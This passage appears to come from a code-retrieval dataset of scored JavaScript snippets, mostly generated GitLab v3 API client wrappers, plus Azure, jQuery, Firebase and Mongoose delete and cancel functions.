String | The ID of a projec\n/*let UNKNOWN_BASE_TYPE = new Gitlab.UNKNOWN_BASE_TYPE();*/ // UNKNOWN_BASE_TYPE | \napiInstance.postV3ProjectsIdMergeRequests(incomingOptions.id, incomingOptions.UNKNOWN_BASE_TYPE, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "2e7232a1e19eb21607d67ed5ffaaed5d", "score": "0.4614328", "text": "getV3ProjectsIdMergeRequestsMergeRequestIdCommits(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | \napiInstance.getV3ProjectsIdMergeRequestsMergeRequestIdCommits(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "47ddd2e87edb1d650159867e26c193b4", "score": "0.46138832", "text": "async function jobsCancelPost() {\n const subscriptionId = \"fa68082f-8ff7-4a25-95c7-ce9da541242f\";\n const resourceGroupName = \"SdkRg5154\";\n const jobName = \"SdkJob952\";\n const cancellationReason = { reason: \"CancelTest\" };\n const credential = new DefaultAzureCredential();\n const client = new DataBoxManagementClient(credential, subscriptionId);\n const result = await client.jobs.cancel(resourceGroupName, jobName, cancellationReason);\n console.log(result);\n}", "title": "" }, { "docid": "a72cfc577a93a6ae354d3d9c97785874", "score": "0.4613442", "text": "function deleteJobs( ids )\n\t{\n\t\tvar ids_r = new Array();\n\t\tif(jQuery.isNumeric(ids) == true)\n\t\t{\n\t\t\tids_r.push(ids);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tids_r = ids.split(\",\");\n\t\t}\n\t\t\t\n\t\tjQuery.ajax({\n\t url: \"/\" + PROJECT_NAME + \"admin/jobs/delete-jobs\",\n\t type: \"POST\",\n\t dataType: \"json\",\n\t data: {\n\t \t'ids_r': ids_r\n\t },\n\t timeout: 50000,\n\t success: function(jsonData) {\n\t\t if( jsonData == 1 )\n\t\t {\n\t\t \tids_r = [];\n\t\t \tvar current_page_btn = $(\"div.content div#ilook_dt_wrapper div.paging_simple_numbers span#page_buttons a.paginate_button.current\");\n\t\t\t\t\tvar next_sort;\n\t\t \tif( $('table#jquery_dt th.sorting.active').attr('aria-sort') == \"DESC\" )\n\t\t \t{\n\t\t \t\tnext_sort = \"ASC\";\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\tnext_sort = \"DESC\";\n\t\t \t}\t\n\t\t \tlistData( $(\"div.dataTables_wrapper select[name=jquery_dt_length]\").val(),\n\t\t \t\t\t\t(current_page_btn.attr('data-dt-idx')-1)*$(\"div.dataTables_wrapper select[name=jquery_dt_length]\").val(), \n\t\t \t\t\t\t$('table#jquery_dt th.sorting.active').attr('db_column'),\n\t\t \t\t\t\t$('table#jquery_dt th.sorting.active').attr('db_column_alias'),\n\t\t \t\t\t\tnext_sort,\n\t\t \t\t\t\t1,\n\t\t \t\t\t\t$('div#ilook_dt_wrapper div.dataTables_filter input').val()\n\t\t \t\t\t\t);\n\t\t\t showDefaultMsg('Selected jobs has been deleted.',1);\n\t\t }\n\t }\n\t\t});\n\t}", "title": "" }, { "docid": "3bfa7d9f1ea8b28838174f36e828a521", "score": "0.46128845", "text": "cancelFriendRequest(userId) {\n let loggedInUserId = __WEBPACK_IMPORTED_MODULE_5_firebase__[\"auth\"]().currentUser.uid;\n this.loadingProvider.show();\n var requestsSent;\n this.dataProvider.getRequests(loggedInUserId).subscribe((requests) => {\n requestsSent = requests.requestsSent;\n requestsSent.splice(requestsSent.indexOf(userId), 1);\n // Update requestSent information.\n this.angularfireDatabase.object('/requests/' + loggedInUserId).update({\n requestsSent: requestsSent\n }).then((success) => {\n var friendRequests;\n this.dataProvider.getRequests(userId).subscribe((requests) => {\n friendRequests = requests.friendRequests;\n friendRequests.splice(friendRequests.indexOf(loggedInUserId), 1);\n // Update friendRequests information.\n this.angularfireDatabase.object('/requests/' + userId).update({\n friendRequests: friendRequests\n }).then((success) => {\n this.loadingProvider.hide();\n this.alertProvider.showFriendRequestRemoved();\n }).catch((error) => {\n this.loadingProvider.hide();\n });\n });\n }).catch((error) => {\n this.loadingProvider.hide();\n });\n });\n }", "title": "" }, { "docid": "3b518857073709862852bdbacdb0cdfd", "score": "0.46121114", "text": "postV3ProjectsIdMergeRequestsMergeRequestIdComments(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number |\n/*let UNKNOWN_BASE_TYPE = new Gitlab.UNKNOWN_BASE_TYPE();*/ // UNKNOWN_BASE_TYPE | \napiInstance.postV3ProjectsIdMergeRequestsMergeRequestIdComments(incomingOptions.id, incomingOptions.mergeRequestId, incomingOptions.UNKNOWN_BASE_TYPE, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "45c529e3a34e09f78edd7ce7ac7c1bf2", "score": "0.45998096", "text": "getV3ProjectsIdMergeRequestMergeRequestIdChanges(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | \napiInstance.getV3ProjectsIdMergeRequestMergeRequestIdChanges(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "b1e2460160b022dcdc8b4a229045c6a3", "score": "0.45951945", "text": "CancelShareRequest(username,task_id){\n return new Promise( (resolve,reject) => {\n Share.deleteOne({$and:[{task_id : task_id } , {username_to : username}]})\n .then(result => {\n if(result.n){\n resolve(\"removed share request\");\n this.tasksController.setShareTask(\"\",task_id)\n .catch(err => {\n console.error(\"Error can't delete Task from Task collection,\\n\",err);\n reject(err)\n })\n }else{\n reject(\"Can't find Share task\")\n }\n })\n .catch(err => {\n console.error(\"Error can't delete Task from Share collection,\\n\",err);\n reject(err)\n })\n \n })\n }", "title": "" }, { "docid": "ac5db4a79bc87118bfe950c94c10ac7c", "score": "0.45931894", "text": "function DeleteMulti() {\n $ngBootbox.confirm('Bạn có chắc chắn muốn xóa?').then(function () {\n var lstItem = [];\n // lay ra list id cua product voi lstItem = [5,6] sau do\n // su dung JSON.stringifly de convert toi kieu string va truyen vao params\n\n $.each($scope.selected, function (i, item) {\n lstItem.push(item.ID);\n });\n\n var config = {\n params: {\n //JSON.stringify chuyen params kieu int toi string boi vi backend web api co params lstProductCategoryID kieu string:\n // vi du khi khong su dung se sinh ra 2 params giong nhau hien thi url nhu sau:\n //localhost:64283/api/productcategory/deletemulti?lstProductCategoryID=5&lstProductCategoryID=6 400 (Bad Request)\n // sau khi su dung localhost:64283/api/productcategory/deletemulti?lstProductCategoryID=%5B5,6%5D\n lstSlideID: JSON.stringify(lstItem)\n }\n }\n apiHttpService.del('api/slide/deletemulti', config, function (result) {\n notificationService.displaySuccess(result.data + ' thể lọai sản phẩm đã được xóa.');\n //xoa xong goi lai ham search de get lai san pham\n search();\n \n }, function (error) {\n notificationService.displayError('Xóa không thành công.');\n })\n });\n }", "title": "" }, { "docid": "ef46480590f8bf6eeba0facacc1d428b", "score": "0.45901313", "text": "personGroupDeleteAPersonGroupDelete(queryParams, headerParams, pathParams) {\n const queryParamsMapped = {};\n const headerParamsMapped = {};\n const pathParamsMapped = {};\n Object.assign(queryParamsMapped, convertParamsToRealParams(queryParams, PersonGroupDeleteAPersonGroupDeleteQueryParametersNameMap));\n Object.assign(headerParamsMapped, convertParamsToRealParams(headerParams, PersonGroupDeleteAPersonGroupDeleteHeaderParametersNameMap));\n Object.assign(pathParamsMapped, convertParamsToRealParams(pathParams, PersonGroupDeleteAPersonGroupDeletePathParametersNameMap));\n return this.makeRequest('/persongroups/{personGroupId}', 'delete', queryParamsMapped, headerParamsMapped, pathParamsMapped);\n }", "title": "" }, { "docid": "51b4b7e30f9025ea0e302be7966a4b0d", "score": "0.4576516", "text": "function deleteProductoCompras(hashkey,idarticulo,idlista) {\n\twaitEliminar.show();\n var request = new XMLHttpRequest();\n request.onreadystatechange = function() {\n if (request.readyState == 4) {\n var resp = request.responseText;\n resp = JSON.parse(resp);\n \n var errorcode = resp.response.errorCode;\n console.log(JSON.stringify(errorcode));\n \n if (errorcode == \"0\"){\n \tokSuccess.show();\n \n \tdataSource.load();\n \n }else{\n \terror.show();\n \t\n }\n \n \n }\n };\n \n request.open(\"DELETE\", \"http://observatoriodeprecios.defensoria.gob.sv/ApiREST.php/v1/deleteElementoLista/\"+hashkey+\"/\"+idarticulo+\"/\"+idlista, true);\n //console.log(\"http://observatoriodeprecios.defensoria.gob.sv/ApiREST.php/v1/deleteListaCompras/\"+hashkey+\"/\"+idlista);\n request.send();\n}", "title": "" }, { "docid": "f931ea7cad05917149963a6f549c97fd", "score": "0.45744634", "text": "getV3ProjectsIdMergeRequestsNoteableIdNotesNoteId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let noteId = 56;*/ // Number | The ID of a not\n/*let noteableId = 56;*/ // Number | The ID of the noteable\napiInstance.getV3ProjectsIdMergeRequestsNoteableIdNotesNoteId(incomingOptions.id, incomingOptions.noteId, incomingOptions.noteableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "d54028e82e2fb46456ce09a56ae5e4e3", "score": "0.4560371", "text": "deleteVoicemailMessages() { \n\n\t\t\treturn this.apiClient.callApi(\n\t\t\t\t'/api/v2/voicemail/messages', \n\t\t\t\t'DELETE', \n\t\t\t\t{ },\n\t\t\t\t{ },\n\t\t\t\t{ },\n\t\t\t\t{ },\n\t\t\t\tnull, \n\t\t\t\t['PureCloud OAuth'], \n\t\t\t\t['application/json'],\n\t\t\t\t['application/json']\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "65169b04f07face9a1b92891063ad00e", "score": "0.45483577", "text": "function deleteAOrg(orgId , signId , callBack){\r\n var httpOptions = {\r\n method : \"delete\" ,\r\n url : rootPath + \"/sign/deleteOrg\",\r\n params : {orgIds : orgId , signId : signId}\r\n }\r\n\r\n var httpSuccess = function success(response){\r\n if(callBack != undefined || typeof callBack == 'function'){\r\n callBack(response.data);\r\n }\r\n }\r\n\r\n common.http({\r\n $http: $http,\r\n httpOptions: httpOptions,\r\n success: httpSuccess\r\n });\r\n }", "title": "" }, { "docid": "cea16cbd56bac3041b5d843d3eec7d4f", "score": "0.4547618", "text": "postV3ProjectsIdLabelsSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.postV3ProjectsIdLabelsSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "f623714132cfd8e01b10f861d18eb61c", "score": "0.45454216", "text": "postV3ProjectsIdMergeRequestMergeRequestIdComments(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number |\n/*let UNKNOWN_BASE_TYPE = new Gitlab.UNKNOWN_BASE_TYPE();*/ // UNKNOWN_BASE_TYPE | \napiInstance.postV3ProjectsIdMergeRequestMergeRequestIdComments(incomingOptions.id, incomingOptions.mergeRequestId, incomingOptions.UNKNOWN_BASE_TYPE, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "443e659d86c42481cbe993a1e4a84d7a", "score": "0.45421377", "text": "postV3ProjectsIdMergeRequestsMergeRequestIdResetTimeEstimate(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | The ID of a project merge_request\napiInstance.postV3ProjectsIdMergeRequestsMergeRequestIdResetTimeEstimate(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" } ]
fa8b41e9b3500ba1d2c5180946638253
AsyncMode should be deprecated
[ { "docid": "e97389e286c3cffef0b4cca503b2022a", "score": "0.0", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" } ]
[ { "docid": "f875530dcfc8e17a6260c6612c5c142a", "score": "0.71477026", "text": "function isAsyncMode(object){{if(!hasWarnedAboutDeprecatedIsAsyncMode){hasWarnedAboutDeprecatedIsAsyncMode=true;lowPriorityWarning$1(false,'The ReactIs.isAsyncMode() alias has been deprecated, '+'and will be removed in React 17+. Update your code to use '+'ReactIs.isConcurrentMode() instead. It has the exact same API.');}}return isConcurrentMode(object)||typeOf(object)===REACT_ASYNC_MODE_TYPE;}", "title": "" }, { "docid": "e4caf192be3aba89e2b8af94f3a1702a", "score": "0.707457", "text": "function isAsyncMode(object){{if(!hasWarnedAboutDeprecatedIsAsyncMode){hasWarnedAboutDeprecatedIsAsyncMode=true;// Using console['warn'] to evade Babel and ESLint\nconsole['warn']('The ReactIs.isAsyncMode() alias has been deprecated, '+'and will be removed in React 17+. Update your code to use '+'ReactIs.isConcurrentMode() instead. It has the exact same API.');}}return isConcurrentMode(object)||typeOf(object)===REACT_ASYNC_MODE_TYPE;}", "title": "" }, { "docid": "ca5b2630010f010f2702c79490d8f370", "score": "0.69151664", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console[\"warn\"](\n \"The ReactIs.isAsyncMode() alias has been deprecated, \" +\n \"and will be removed in React 17+. Update your code to use \" +\n \"ReactIs.isConcurrentMode() instead. It has the exact same API.\"\n );\n }\n }\n return (\n isConcurrentMode(object) ||\n typeOf(object) === REACT_ASYNC_MODE_TYPE\n );\n }", "title": "" }, { "docid": "3bc86d4c0bc033d37f07769fe98941fd", "score": "0.6901598", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t }", "title": "" }, { "docid": "9919c6f56162ec68b807540c3cd860d9", "score": "0.6841173", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object);\n\t}", "title": "" }, { "docid": "e6329006f5c397a6090c4ec2193b201d", "score": "0.68282056", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console['warn'](\n 'The ReactIs.isAsyncMode() alias has been deprecated, ' +\n 'and will be removed in React 17+. Update your code to use ' +\n 'ReactIs.isConcurrentMode() instead. It has the exact same API.'\n );\n }\n }\n\n return (\n isConcurrentMode(object) ||\n typeOf(object) === REACT_ASYNC_MODE_TYPE\n );\n }", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "dbf2d15326b5f8dfa90541eb2c8c1a7c", "score": "0.68086684", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console[\"warn\"](\n \"The ReactIs.isAsyncMode() alias has been deprecated, \" +\n \"and will be removed in React 17+. Update your code to use \" +\n \"ReactIs.isConcurrentMode() instead. It has the exact same API.\"\n );\n }\n }\n return (\n isConcurrentMode(object) ||\n typeOf(object) === REACT_ASYNC_MODE_TYPE\n );\n }", "title": "" }, { "docid": "d2a0f8313f0643056bc21ec50601c4d2", "score": "0.6802685", "text": "function isAsyncMode(object) {\n \t {\n \t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n \t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n \t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n \t }\n \t }\n\n \t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n \t}", "title": "" }, { "docid": "b8068acaf9c912b90e4f08a8b24ee929", "score": "0.6793582", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, \"The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 17+. Update your code to use ReactIs.isConcurrentMode() instead. It has the exact same API.\");\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "5a0f72b6773195c6b56e3adb2d461f1d", "score": "0.6785743", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\t\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b588303cd02294d9b164dfede4ee5fe3", "score": "0.6750946", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, \"The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 17+. Update your code to use ReactIs.isConcurrentMode() instead. It has the exact same API.\");\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "ae77ad11445ad5ac0cf7165719619e35", "score": "0.67432344", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "ae77ad11445ad5ac0cf7165719619e35", 